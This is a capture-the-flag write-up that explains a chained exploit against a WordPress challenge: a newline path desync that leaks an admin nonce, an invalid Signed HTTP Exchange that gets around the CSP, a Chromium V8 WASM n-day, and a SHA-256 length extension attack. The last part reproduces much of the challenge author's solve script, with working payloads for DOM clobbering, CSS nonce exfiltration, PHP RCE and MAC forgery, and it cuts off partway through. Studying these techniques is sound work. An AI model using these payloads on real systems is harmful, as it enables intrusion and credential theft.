Initially, I debated even writing this post. The sheer complexity and multi-step nature of the exploit chain meant I’d inevitably have to ruthlessly edit this draft just to make it readable. But letting a challenge this good go undocumented felt like a weak excuse to avoid sharing what I’ve learned over the last few days. This challenge easily featured the longest, most convoluted chain I’ve dealt with in a while.
TL;DR: This challenge required a massive, multi-step exploit chain spanning web desyncs, browser exploitation, and cryptography. The path to the flag looked like this:
- Routing Desync: Abused Apache’s
mod_phpnewline handling to trick WordPress’s regex into spoofing the current screen ID, leaking a privileged admin-ajax nonce. - CSP Bypass: Leveraged a deliberately invalid Signed HTTP Exchange (SXG) payload to force the admin bot into a
fallbackUrlredirect, completely bypassing the strict Content Security Policy. - V8 Browser Pwn (RCE): Exploited an unpatched headless Chromium bot (
--no-sandbox) using a WASM universal type confusion vulnerability (overriding the 1-million type allocation limit) to execute native shellcode. - Length Extension Attack: Communicated with an isolated Unix socket via the RCE, forging a valid SHA-256 MAC using a length extension attack to append a blocked
"give_flag"command and dump the flag.
Enjoy!
1. Challenge description
The target is a standard record-keeping app: it takes inputs and saves them to a database for later retrieval. Because each record featured a “citation source” field indicating its origin, my immediate instinct was an admin bot interaction. I quickly spammed every input field with webhook links and waited for a callback.
1 minute, then 10, then 20 went by… Nothing.
We were provided the source code, but extracting it revealed a sprawling mess of 9 directories and 21 files to audit. My immediate reaction? “I ain’t reading all that… not today, sir.”
The trick with these heavy source-code challenges is to avoid getting overwhelmed. I decided to be methodical and approach the codebase with specific questions. The first and most important: “Where is the flag?”
flag location (keeper/keeper.php)
<?php/** * keeper.php — the Archivist's Keeper. Holds the flag and releases it to an authorised request. */
error_reporting(0);
const CYCLE = 60;
$SOCK = getenv('KEEPER_SOCK') ?: '/run/keeper/keeper.sock';$FLAG_FILE = getenv('KEEPER_FLAG_FILE') ?: '/keeper/flag.txt';
$FLAG = trim(@file_get_contents($FLAG_FILE));if ($FLAG === '') { fwrite(STDERR, "keeper: no flag at $FLAG_FILE\n"); exit(1); }
$SECRET = random_bytes(16); // in-memory only; attacker must brute its length
@unlink($SOCK);$srv = stream_socket_server("unix://$SOCK", $errno, $errstr);if (!$srv) { fwrite(STDERR, "keeper: bind failed: $errstr\n"); exit(1); }@chmod($SOCK, 0666);
$cur = static fn(): int => intdiv(time(), CYCLE);
fwrite(STDERR, "keeper: listening on $SOCK (cycle=" . $cur() . ")\n");
while (true) { $conn = @stream_socket_accept($srv, -1); if (!$conn) { continue; }
$line = trim((string)fgets($conn, 65536)); $parts = explode(' ', $line, 3); $cmd = strtoupper($parts[0] ?? '');
if ($cmd === 'CYCLE') { fwrite($conn, $cur() . "\n");
} elseif ($cmd === 'SIGN') { $msg = @hex2bin($parts[1] ?? ''); if ($msg === false) { fwrite($conn, "ERR badhex\n"); } elseif (strpos($msg, 'give_flag') !== false) { fwrite($conn, "ERR forbidden\n"); } else { fwrite($conn, hash('sha256', $SECRET . $msg) . "\n"); }
} elseif ($cmd === 'FLAG') { $msg = @hex2bin($parts[1] ?? ''); $sig = strtolower(trim($parts[2] ?? '')); if ($msg !== false && hash_equals(hash('sha256', $SECRET . $msg), $sig) && strpos($msg, 'give_flag') !== false && strpos($msg, 'cycle=' . $cur()) !== false) { fwrite($conn, $FLAG . "\n"); } else { fwrite($conn, "ERR denied\n"); }
} else { fwrite($conn, "ERR ?\n"); } fclose($conn);}The flag was hidden behind a “keeper” Unix socket. If you talk to that socket and meet specific criteria (which we’ll cover later), it hands over the flag; otherwise, it drops you.
Realizing the sink was completely isolated from the front-facing service, I had to work backward and trace where my input actually landed.
My next question was obvious: “Where does my input land, and how does it interact with the environment?”
I spun up an opencode session, asked it to analyze the code based on that specific question, and got this response:

I want to give an authentic story of how I solved this challenge. I relied heavily on building hypotheses from AI responses and manually validating them. While AI can be non-deterministic, it’s incredibly efficient at auditing massive codebases, and that’s exactly how I utilized it here.
It turns out there were multiple ways my input could be retrieved, but I was only interested in paths that could lead to RCE (since the flag was guarded by that Unix socket). This made the admin bot a juicy attack surface. The bot routinely drained a queue of records on a set time interval. If I could manage to register a malicious record into that queue, there was a high probability I could abuse the bot’s admin privileges.
But before I could exploit the bot, I had to figure out how to successfully register a record in the first place.
2. Registering a record for the bot
The application was built on WordPress. If you haven’t already, I highly recommend reading my previous CVE writeup on the blog to understand WordPress routing basics. At a high level, you send a request matching a specific path, it routes to a corresponding PHP file, executes, and returns the response.
Different actions naturally required different privilege levels. The specific action we needed to register a record was gated behind this check:
class Archive_Ajax{ // Prints the reviewer's seal on the Reviewer Desk screen. public static function maybe_print_seal() { $screen = get_current_screen(); if ($screen && $screen->id === 'toplevel_page_archive-desk') { printf('<input type="hidden" id="seal" value="%s">', esc_attr(wp_create_nonce('archive_seal_record'))); } }If the current page you’re visiting is toplevel_page_archive-desk, the application generates and returns a nonce. Any other page returns nothing. We absolutely needed that nonce to perform the record registration.
You might ask: “Why not just visit the toplevel_page_archive-desk page directly?”
I would have loved to, but WordPress restricted direct access. And because the admin bot only visits already registered records, we were stuck in a classic chicken-and-egg scenario.
“Is there a way we can bypass this check?” I wondered.
This exact check was the only gatekeeper between us and the nonce. Throughout my CTF career, I’ve spent entire weekends trying to bypass strict equality checks, so I wasn’t going to stop just because this code looked safe. I needed to verify if it was actually safe.
That’s when I fired up the debugger on my Arch setup.
I used opencode to configure the debugger for me. If you’re unfamiliar, Wordfence’s WordPress bug bounty GitHub repo has ready-to-use setups. Since I already had experience hunting in WordPress, my tooling was ready to go.
Before jumping into VSCode to look at the step debugging results, it helps to understand the WordPress core source code for the functions we were targeting:
get_current_screen(): Used in the Ajax handler.set_current_screen(): I figured there had to be a setter variant.
Reading the source revealed that get_current_screen() was merely a getter for the WP_SCREEN class object. The setter, however, accepted an optional hook_name string and applied the screen->id to the global version.
/** * Set the current screen object * * @since 3.0.0 * * @param string|WP_Screen $hook_name Optional. The hook name (also known as the hook suffix) used to determine the screen, * or an existing screen object. */function set_current_screen( $hook_name = '' ) { WP_Screen::get( $hook_name )->set_current_screen();}I grepped the codebase for hook_suffix and found it being set in a single place:
$hook_suffix = '';if ( isset( $page_hook ) ) { $hook_suffix = $page_hook;} elseif ( isset( $plugin_page ) ) { $hook_suffix = $plugin_page;} elseif ( isset( $pagenow ) ) { $hook_suffix = $pagenow;}The pagenow variable was our target. Based on the naming convention, I deduced it represented the current page being accessed. Grepping for pagenow led me here:
// On which page are we?if ( is_admin() ) { // wp-admin pages are checked more carefully. if ( is_network_admin() ) { preg_match( '#/wp-admin/network/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches ); } elseif ( is_user_admin() ) { preg_match( '#/wp-admin/user/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches ); } else { preg_match( '#/wp-admin/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches ); }
$pagenow = ! empty( $self_matches[1] ) ? $self_matches[1] : ''; $pagenow = trim( $pagenow, '/' ); $pagenow = preg_replace( '#\?.*?$#', '', $pagenow );
if ( '' === $pagenow || 'index' === $pagenow || 'index.php' === $pagenow ) { $pagenow = 'index.php'; } else { preg_match( '#(.*?)(/|$)#', $pagenow, $self_matches ); $pagenow = strtolower( $self_matches[1] ); if ( ! str_ends_with( $pagenow, '.php' ) ) { $pagenow .= '.php'; // For `Options +Multiviews`: /wp-admin/themes/index.php (themes.php is queried). } }} else { if ( preg_match( '#([^/]+\.php)([?/].*?)?$#i', $_SERVER['PHP_SELF'], $self_matches ) ) { $pagenow = strtolower( $self_matches[1] ); } else { $pagenow = 'index.php'; }}unset( $self_matches );Regex, sweet regex. How many times have developers gotten regex wrong?
Instead of statically analyzing the regex, I set a breakpoint and observed how mutating the URL path triggered different routing behaviors. Here is what I discovered:
- If you request
/wp-admin/index.php/anything_here.., you correctly fall back to the index page. - However, if you inject a
%0A(newline) into the path (like/wp-admin/index.php/anything%0A/wp-admin/toplevel_page_archive-desk.php), something fascinating happens:

get_current_screen() registers the screen as toplevel_page_archive-desk! But crucially:

The index.php page is STILL served, with NO ERRORS!
It turns out Apache’s mod_php is responsible for this desync. It reads the initial index.php, routes us there, but passes the entire, URL-decoded path (including the newline) to WordPress. When WordPress runs its regex against this multi-line string, it grabs the last instance (/wp-admin/toplevel_page_archive-desk) instead of the first, successfully spoofing the screen ID to whatever we want.
Time to grab that nonce.

3. Chaining to RCE
Now that we could successfully register records, it was time to analyze the bot’s behavior:
/** * The Archivist — headless-Chromium moderation bot. Logs in as the administrator and reviews * the records it is asked to. */'use strict';const puppeteer = require('puppeteer');const fs = require('fs');
// Credentials are minted at first boot by start.sh and written here (bot-readable only).let creds = {};try { creds = JSON.parse(fs.readFileSync('/opt/bot/creds.json', 'utf8')); } catch (_) {}
const APP = process.env.APP_URL || 'http://127.0.0.1:1337';const USER = process.env.WP_ADMIN_USER || creds.user || '';const PASS = process.env.WP_ADMIN_PASS || creds.pass || '';const SWEEP = parseInt(process.env.SWEEP_MS || '20000', 10);const DWELL = parseInt(process.env.DWELL_MS || '12000', 10);
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
(async () => { const browser = await puppeteer.launch({ headless: 'new', args: ['--no-sandbox', '--disable-dev-shm-usage', '--disable-gpu', '--no-zygote', '--ignore-certificate-errors'], }); const page = await browser.newPage(); page.setDefaultNavigationTimeout(30000); page.on('console', (m) => console.log('[xss-console]', m.text())); page.on('pageerror', (e) => console.log('[page-error]', e.message));
async function login() { await page.goto(`${APP}/wp-login.php`, { waitUntil: 'networkidle2' }); await page.evaluate(() => { const u = document.querySelector('#user_login'); if (u) u.value = ''; const p = document.querySelector('#user_pass'); if (p) p.value = ''; }); await page.type('#user_login', USER); await page.type('#user_pass', PASS); await Promise.all([ page.click('#wp-submit'), page.waitForNavigation({ waitUntil: 'networkidle2' }).catch(() => {}), ]); console.log('[bot] logged in as', USER); }
await login();
// eslint-disable-next-line no-constant-condition while (true) { try { await page.goto(`${APP}/`, { waitUntil: 'domcontentloaded' }); if (page.url().includes('wp-login.php')) { await login(); continue; } let refs = []; try { const txt = await page.evaluate(async (app) => (await fetch(app + '/?archive_pending', { credentials: 'include' })).text(), APP); refs = JSON.parse(txt); } catch (_) {} console.log('[bot] reviewing', refs.length, 'record(s)'); for (const ref of refs) { try { await page.goto(`${APP}/?render=${encodeURIComponent(ref)}`, { waitUntil: 'networkidle2' }); } catch (e) { /* navigation errors are expected */ } await sleep(DWELL); } } catch (e) { console.log('[bot] sweep error:', e.message); try { await login(); } catch (_) {} } await sleep(SWEEP); }})().catch((e) => { console.error('[bot] fatal', e); process.exit(1); });The bot authenticates to WordPress as an admin, drains the queue, and visits our injected record using /?render=<foo>. When attempting to render our own record, two things immediately stood out:
- The page had a very strict Content Security Policy (CSP):
private static function render(){ $body = Archive_Records::body((string) $_GET['render']); header('X-Content-Type-Options: nosniff'); header('Content-Type: ' . (string) ($_SERVER['HTTP_ACCEPT'] ?? 'text/html')); self::send_csp_nonce(Archive_Nonce::cycle()); echo $body; exit;}
private static function send_csp_nonce($nonce){ header("Content-Security-Policy: default-src 'self'; script-src 'nonce-$nonce'; " . "style-src 'self' 'unsafe-inline'; img-src 'self'; connect-src 'self'; " . "frame-src 'self' data:; object-src 'none'; base-uri 'none'");}- This bizarre error popped up in the console:

Signed HTTP Exchanges (SXGs) are part of the web packaging standard. The core concept is that if you are a content distributor and want to delegate hosting to a third party (like a CDN), you can package a request/response pair and cryptographically sign it. This allows the browser to verify the authenticity of the response, even if it was served from a different origin.
Initially, this gave me flashbacks to SECCON’s broken-challenge and the notorious CrossSXG attack. However, we weren’t strictly dealing with certificate validation issues here. Digging deeper into the SXG specification revealed the real intended path:
- While the CSP was tight, it lacked the
navigate-todirective. This meant we could safely redirect the bot to our attacker server via an SXG. - Why SXG? Because SXGs feature a specific field called
fallbackUrl. If the browser fails to verify the signature of the exchange, it automatically falls back and fetches the resource from this URL instead.
All we needed to do was craft a deliberately invalid SXG and create a record that triggers the fallback redirect to our server. But what were we trying to serve the bot?
XSS was a dead end here. The ultimate goal was RCE. Learning my lesson from past CTF trauma, I immediately checked the Chromium version bundled with Puppeteer.
root@c66e1506bc7e:/opt/bot#root@c66e1506bc7e:/opt/bot# node -e "const p = require('puppeteer'); console.log(p.executablePath());"/opt/bot/.cache/chrome/linux-131.0.6778.108/chrome-linux64/chromeroot@c66e1506bc7e:/opt/bot#root@c66e1506bc7e:/opt/bot# /opt/bot/.cache/chrome/linux-131.0.6778.108/chrome-linux64/chrome --versionGoogle Chrome for Testing 131.0.6778.108A little outdated, wouldn’t you say? Let’s check for CVEs.

Just like the previous challenge, there was an active issue regarding this version. The catch? The exploitation relied on a V8 bug, an area I wasn’t incredibly well-versed in.
WASM Universal Type Confusion
Reading the bug report felt like parsing gibberish at first. That’s the reality of hyper-focusing on web challenges and neglecting browser exploitation. I knew basic binary exploitation, but not V8 internals. So, I did the only logical thing: got rid of my skill issues and started reading.
WASM (WebAssembly) allows you to define complex types that hold references to structs or functions within V8’s heap memory. For performance and memory constraints, V8 limits you to registering a maximum of 1 million types.
The Chromium bug was a classic limit overrun related to this 1-million cap. With the introduction of iso-recursive types (types within a specific section that recursively reference each other), V8 performed the 1-million limit check on the recursive types and the standalone types, but crucially, it didn’t check their combined total.
This meant crafting a WASM module with a recursive section containing exactly 1 million types, immediately followed by a standalone type, would overflow the index allocation. Instead of remaining within the safe 0 to 999,999 boundary, the final standalone type would be assigned the index of exactly 1,000,000.
Why does this matter?
In V8, indices starting at 1 million are strictly reserved for internal, built-in heap types used for critical operations like instantiating JSObjects. Forcing our custom WASM type to overlap with an internal heap type index created a severe type confusion vulnerability. This primitive seamlessly escalates into arbitrary read/write access over the memory space. And thanks to the magic of modern pwn techniques, arbitrary read/write within V8 easily translates to arbitrary code execution.
But what about the Chrome Sandbox?
We didn’t need to escape it! The challenge author kindly launched headless Chrome with the --no-sandbox flag. Any shellcode we executed within V8 would run natively with the privileges of the www-data user running the bot.
const browser = await puppeteer.launch({ headless: 'new', args: ['--no-sandbox', '--disable-dev-shm-usage', '--disable-gpu', '--no-zygote', '--ignore-certificate-errors'],});I downloaded the PoC, generated a fresh shellcode payload, and popped a calculator just to prove it worked.
RCE achieved! I might actually consider pivoting to browser exploitation; this stuff is incredibly fun.
4. Capturing the Flag
With RCE secured, I just needed to write a script to read the flag, right?
Not quite. The isolated flag service code looked like this:
<?php/** * keeper.php — the Archivist's Keeper. Holds the flag and releases it to an authorised request. */
error_reporting(0);
const CYCLE = 60;
$SOCK = getenv('KEEPER_SOCK') ?: '/run/keeper/keeper.sock';$FLAG_FILE = getenv('KEEPER_FLAG_FILE') ?: '/keeper/flag.txt';
$FLAG = trim(@file_get_contents($FLAG_FILE));if ($FLAG === '') { fwrite(STDERR, "keeper: no flag at $FLAG_FILE\n"); exit(1); }
$SECRET = random_bytes(16); // in-memory only; attacker must brute its length
@unlink($SOCK);$srv = stream_socket_server("unix://$SOCK", $errno, $errstr);if (!$srv) { fwrite(STDERR, "keeper: bind failed: $errstr\n"); exit(1); }@chmod($SOCK, 0666);
$cur = static fn(): int => intdiv(time(), CYCLE);
fwrite(STDERR, "keeper: listening on $SOCK (cycle=" . $cur() . ")\n");
while (true) { $conn = @stream_socket_accept($srv, -1); if (!$conn) { continue; }
$line = trim((string)fgets($conn, 65536)); $parts = explode(' ', $line, 3); $cmd = strtoupper($parts[0] ?? '');
if ($cmd === 'CYCLE') { fwrite($conn, $cur() . "\n");
} elseif ($cmd === 'SIGN') { $msg = @hex2bin($parts[1] ?? ''); if ($msg === false) { fwrite($conn, "ERR badhex\n"); } elseif (strpos($msg, 'give_flag') !== false) { fwrite($conn, "ERR forbidden\n"); } else { fwrite($conn, hash('sha256', $SECRET . $msg) . "\n"); }
} elseif ($cmd === 'FLAG') { $msg = @hex2bin($parts[1] ?? ''); $sig = strtolower(trim($parts[2] ?? '')); if ($msg !== false && hash_equals(hash('sha256', $SECRET . $msg), $sig) && strpos($msg, 'give_flag') !== false && strpos($msg, 'cycle=' . $cur()) !== false) { fwrite($conn, $FLAG . "\n"); } else { fwrite($conn, "ERR denied\n"); }
} else { fwrite($conn, "ERR ?\n"); } fclose($conn);}To get the flag, we had to submit a cryptographically valid signature. The service utilized a Message Authentication Code (MAC) to ensure it only signed arbitrary text that did not contain the string "give_flag". It would readily sign “benign” payloads, but strictly expected a valid signature to retrieve the flag, proving the sender knew the underlying hash secret.
Could we leak the secret? No. But we didn’t have to.
This was a textbook length extension attack scenario. If a vulnerable application hands you the resulting hash for MAC(secret | benign_data), you can mathematically derive a completely valid MAC for (secret | benign_data | padding | give_flag) without ever knowing the secret itself. Because the validation routine just looked for our target claim anywhere in the decoded string, appending it via a length extension attack bypassed the filter entirely.
solve.py
I won’t drop a monolithic exploit script here because the goal is to explain the underlying intuition, not just paste a solution. For completeness, the author did provide an automated solve script for reference. Interestingly, instead of leveraging the Chromium n-day, they utilized POP Chains, a technique I’ve actually covered in detail here.
All credit goes to Dimas for the solve, check out his blog here
#!/usr/bin/env python3"""Filtered Reality — full-chain solver.
Link 0 (foothold): log in as the public reading-room subscriber (archive_clerk). The bot onlyrenders records that have been "sealed" (queued) by the privileged Reviewer Desk. The sealnonce is printed only on the Reviewer Desk admin screen — but WordPress derives the currentscreen from PHP_SELF, so a subscriber requesting /wp-admin/index.php/x%0A/wp-admin/<screen-id>(raw newline past a PATH_INFO break) spoofs $current_screen->id to the Reviewer Desk and theseal nonce is leaked into the subscriber's dashboard. With it the subscriber may POST thenonce-only admin-ajax `archive_seal_record` to queue any record for the Archivist.
Link 1 (the hard part) is a CSP-constrained client-side chain against the Archivist bot: a) The moderation page (/?archive_moderation=1) renders submitted "source" through a clobberable DOMParser sanitizer under a per-request nonce CSP (script-src 'nonce-X'). b) We DOM-clobber the sanitizer (named `childNodes` inputs) to smuggle a <style> whose @import pulls a same-origin trigram-CSS payload. The <script nonce> attribute is nonce-hidden, but the per-request nonce is also exposed in a <meta content>, which is NOT nonce-hidden — so the CSS leaks it char-by-char (trigrams) to a same-origin sink. c) We reconstruct nonce X, then DOM-clobber again to smuggle an <iframe srcdoc> carrying <script nonce=X src=/?archive_raw=EXPLOIT> — which now executes in the admin context.
Links 2-4 (unchanged): the exploit JS scrapes the WP nonce, POSTs a base64 POP blob toadmin-ajax archive_process_record -> __wakeup -> in_array -> __toString -> WordPress-corePOP chain -> include($filePath) where $filePath is a php://filter iconv chain thatmaterialises a "keeper client" PHP payload (RCE). The RCE talks to the Keeper over a unixsocket; the exploit JS forges a `give_flag` token by SHA-256 length-extension and the flagis written to a www-data-readable uploads/flag.log.
Helpers (same dir): filter_chain.py (iconv chain), build_blob.py (POP blob). Stdlib only."""import argparseimport base64import http.cookiejarimport itertoolsimport osimport reimport sysimport timeimport urllib.parseimport urllib.request
from filter_chain import chain_forfrom build_blob import build_blob
# --- the fixed "keeper client" RCE payload delivered via the filter chain --------------------RCE_PHP = ( '<?php ' '$s=@stream_socket_client("unix:///run/keeper/keeper.sock",$e,$x,2);' '$r=$s?(fwrite($s,$_REQUEST["k"]."\\n")?trim((string)fread($s,4096)):"WERR"):"NOSOCK";' '$t=preg_replace("/[^a-zA-Z0-9]/","",(string)($_REQUEST["t"]??"out"));' '@file_put_contents("/var/www/html/wp-content/uploads/$t.log",$r);' '?>')
# --- the keeper-forge exploit, hosted same-origin and run with the leaked nonce --------------# Runs inside an <iframe srcdoc> (same-origin as the moderation page). Reads the WP nonce from# the parent, then drives the POP-chain RCE and forges the keeper token via SHA-256 length ext.EXPLOIT_JS = r"""(async () => { const log = (...a) => { try { console.log('[xss]', ...a); } catch(_){} }; const sleep = ms => new Promise(r => setTimeout(r, ms)); const BLOB = "__BLOB__"; const TK = "__TK__"; let nonce = ""; try { nonce = parent.document.getElementById('archive_nonce').value; } catch (e) {} if (!nonce) { try { const h = await (await fetch('/?archive_moderation=1')).text(); nonce = (h.match(/id="archive_nonce" value="([a-z0-9]+)"/) || [])[1] || ""; } catch (e) {} } const enc = new TextEncoder(); const toHex = u8 => Array.from(u8).map(b => b.toString(16).padStart(2,'0')).join(''); const K = new Uint32Array([ 0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5, 0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174, 0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da, 0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967, 0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85, 0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070, 0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3, 0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2]); const rr = (x,n) => (x>>>n)|(x<<(32-n)); function compress(h, blk) { const w = new Uint32Array(64); for (let i=0;i<16;i++) w[i]=((blk[i*4]<<24)|(blk[i*4+1]<<16)|(blk[i*4+2]<<8)|blk[i*4+3])>>>0; for (let i=16;i<64;i++){ const s0=rr(w[i-15],7)^rr(w[i-15],18)^(w[i-15]>>>3); const s1=rr(w[i-2],17)^rr(w[i-2],19)^(w[i-2]>>>10); w[i]=(w[i-16]+s0+w[i-7]+s1)>>>0; } let a=h[0],b=h[1],c=h[2],d=h[3],e=h[4],f=h[5],g=h[6],hh=h[7]; for (let i=0;i<64;i++){ const S1=rr(e,6)^rr(e,11)^rr(e,25), ch=(e&f)^((~e)&g); const t1=(hh+S1+ch+K[i]+w[i])>>>0; const S0=rr(a,2)^rr(a,13)^rr(a,22), mj=(a&b)^(a&c)^(b&c); const t2=(S0+mj)>>>0; hh=g; g=f; f=e; e=(d+t1)>>>0; d=c; c=b; b=a; a=(t1+t2)>>>0; } return [(h[0]+a)>>>0,(h[1]+b)>>>0,(h[2]+c)>>>0,(h[3]+d)>>>0,(h[4]+e)>>>0,(h[5]+f)>>>0,(h[6]+g)>>>0,(h[7]+hh)>>>0]; } function mdpad(msgLen){ const padLen=(((56-(msgLen+1))%64)+64)%64; const pad=new Uint8Array(1+padLen+8); pad[0]=0x80; const bits=msgLen*8, dv=new DataView(pad.buffer); dv.setUint32(1+padLen, Math.floor(bits/0x100000000)>>>0); dv.setUint32(1+padLen+4, bits>>>0); return pad; } function concat(){ let n=0; for(const a of arguments) n+=a.length; const o=new Uint8Array(n); let k=0; for(const a of arguments){o.set(a,k);k+=a.length;} return o; } function extend(origHex, origLen, append){ const glue=mdpad(origLen); let h=[]; for(let i=0;i<8;i++) h.push(parseInt(origHex.substr(i*8,8),16)>>>0); const total=origLen+glue.length+append.length; const tail=concat(append, mdpad(total)); for(let i=0;i<tail.length;i+=64) h=compress(h, tail.subarray(i,i+64)); return {glue:glue, newsig:h.map(x=>('00000000'+(x>>>0).toString(16)).slice(-8)).join('')}; } async function rce(k, t){ const body = new URLSearchParams({action:'archive_process_record', _wpnonce:nonce, blob:BLOB, k:k, t:t}); try { await fetch('/wp-admin/admin-ajax.php', {method:'POST', credentials:'include', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:body.toString()}); } catch(e){ log('post err', e&&e.message); } await sleep(250); try { return (await (await fetch('/wp-content/uploads/'+t+'.log',{cache:'no-store'})).text()).trim(); } catch(_){ return ''; } } try { if (!nonce) { log('no WP nonce'); return; } const cycle = await rce('CYCLE', TK+'cyc'); log('cycle', cycle); const benign = enc.encode('cycle='+cycle+';user=guest'); const sig = await rce('SIGN '+toHex(benign), TK+'sig'); log('sig', sig); const append = enc.encode(';cmd=give_flag'); for (let slen=0; slen<=48; slen++) { const r = extend(sig, slen+benign.length, append); const resp = await rce('FLAG '+toHex(concat(benign, r.glue, append))+' '+r.newsig, TK+'flag'); if (resp && resp.indexOf('HTB{')>=0) { log('FLAG', resp); break; } } } catch (e) { log('exploit err', e && e.message); }})();"""
CHARSET = "0123456789abcdef" # the cycle nonce is a 24-char hex string
def trigram_css(token): """CSS that leaks the <meta content> nonce char-by-char (start/end/trigram selectors). Exfiltrates to a per-run leak file so concurrent solvers don't mix.""" leak = '/?archive_leak=1&tk=' + token out = ['meta[content]{display:block}'] props = [] for cs in itertools.product(CHARSET, repeat=2): s = ''.join(cs) out.append('meta[content^="%s"]{--s_%s:url(%s&S=%s)}' % (s, s, leak, s)) out.append('meta[content$="%s"]{--e_%s:url(%s&E=%s)}' % (s, s, leak, s)) props += ['var(--s_%s,none)' % s, 'var(--e_%s,none)' % s] for cs in itertools.product(CHARSET, repeat=3): s = ''.join(cs) out.append('meta[content*="%s"]{--m_%s:url(%s&M=%s)}' % (s, s, leak, s)) props.append('var(--m_%s,none)' % s) out.append('meta[content]{background:%s}' % ','.join(props)) return '\n'.join(out)
def reconstruct(starts, ends, matches): if not starts or not ends: return [] cand = {next(iter(starts))} while len(next(iter(cand))) < 24: nc = set() for c in cand: for m in matches: if m[:2] == c[-2:]: nc.add(c + m[2]) if not nc: break cand = nc end = next(iter(ends)) return [c for c in cand if c.endswith(end)]
def http_get(url): with urllib.request.urlopen(url, timeout=20) as r: return r.read().decode('utf-8', 'replace')
def http_post(base, fields): # Supports a binary `body` (the crafted SXG bytes) alongside text fields. parts = [] for k, v in fields.items(): kk = urllib.parse.quote_plus(str(k)) if isinstance(v, (bytes, bytearray)): parts.append(kk + '=' + urllib.parse.quote_from_bytes(bytes(v), safe='')) else: parts.append(kk + '=' + urllib.parse.quote_plus(str(v))) req = urllib.request.Request(base + '/', data='&'.join(parts).encode()) with urllib.request.urlopen(req, timeout=30) as r: return r.read().decode('utf-8', 'replace')
# --- SXG bootstrap: a crafted invalid Signed-HTTP-Exchange whose fallback URL is the https# moderation page. The bot's top-level /?render navigation (Accept ends in signed-exchange)# parses this as SXG, fails, and fallback-redirects to the https moderation page (sxg-free# Accept) — the only way to render it. Layout: magic(8) | fallbackUrlLen(2 BE)@8 | url@10.SXG_FALLBACK = 'https://127.0.0.1:1338/?archive_moderation=1'
def sxg_body(fallback=SXG_FALLBACK): fb = fallback.encode() return b'sxg1-b3\x00' + bytes([(len(fb) >> 8) & 0xff, len(fb) & 0xff]) + fb + b'\x00' * 64
# --- Link 0: the public reading-room subscriber (handed to every team) -----------------------CLERK_USER = 'archive_clerk'CLERK_PASS = 'ArchiveClerk!2026'# Spoof $current_screen->id to the Reviewer Desk past a %0A (raw newline) PATH_INFO break, so the# admin_enqueue_scripts seal handler fires for a mere subscriber and leaks the seal nonce.SEAL_SCREEN_PATH = '/wp-admin/index.php/x%0A/wp-admin/toplevel_page_archive-desk'
class Clerk: """Subscriber session: leaks the reviewer's seal (Stututu screen-id spoof) and uses the nonce-only admin-ajax `archive_seal_record` to queue records for the Archivist to render."""
def __init__(self, base): self.base = base self.opener = urllib.request.build_opener( urllib.request.HTTPCookieProcessor(http.cookiejar.CookieJar())) self.seal = ''
def _open(self, path, data=None): req = urllib.request.Request(self.base + path, data=data) with self.opener.open(req, timeout=20) as r: return r.read().decode('utf-8', 'replace')
def login(self): self._open('/wp-login.php') # prime wordpress_test_cookie body = urllib.parse.urlencode({ 'log': CLERK_USER, 'pwd': CLERK_PASS, 'wp-submit': 'Log In', 'redirect_to': self.base + '/wp-admin/', 'testcookie': '1'}).encode() self._open('/wp-login.php', body)
def leak_seal(self): html = self._open(SEAL_SCREEN_PATH) m = re.search(r'id="seal" value="([a-z0-9]+)"', html) self.seal = m.group(1) if m else '' return self.seal
def seal_record(self, ref): body = urllib.parse.urlencode({ 'action': 'archive_seal_record', '_wpnonce': self.seal, 'ref': ref}).encode() try: self._open('/wp-admin/admin-ajax.php', body) except Exception: pass
def clob(inner): """DOM-clobbering wrapper: shadow `childNodes` so the sanitizer skips `inner`.""" return ('<form><input name="childNodes"><input name="childNodes">' + inner + '</form>')
def fallback_for(ref): return SXG_FALLBACK + '&ref=' + ref
def solve(host, port): base = f'http://{host}:{port}' # Per-run token: unique refs + a private leak/flag file so concurrent teams never collide. token = 'fr' + base64.b16encode(os.urandom(4)).decode().lower() r_css, r_exp, r_leak, r_go = token + 'c', token + 'e', token + 'l', token + 'g'
blob = base64.b64encode(build_blob(chain_for(RCE_PHP))).decode() exploit = EXPLOIT_JS.replace('__BLOB__', blob).replace('__TK__', token)
# --- Link 0: subscriber foothold -> leak the reviewer's seal (Stututu screen spoof) --- clerk = Clerk(base) clerk.login() if not clerk.leak_seal(): print('[!] failed to leak the reviewer seal (Link 0)') return None print(f'[+] reviewer seal: {clerk.seal}')
print(f'[*] hosting payloads (run token {token})') http_get(base + '/?archive_leak=reset&tk=' + token) http_post(base, {'archive_submit': '1', 'ref': r_css, 'title': 'c', 'body': trigram_css(token), 'source': ''}) http_post(base, {'archive_submit': '1', 'ref': r_exp, 'title': 'e', 'body': exploit, 'source': ''})
# --- Phase 1: file the leak record and report it, then recover the nonce --- http_post(base, {'archive_submit': '1', 'ref': r_leak, 'title': 'l', 'body': sxg_body(fallback_for(r_leak)), 'source': clob("<style>@import url('/?archive_raw=" + r_css + "&fmt=css')</style>")}) clerk.seal_record(r_leak)
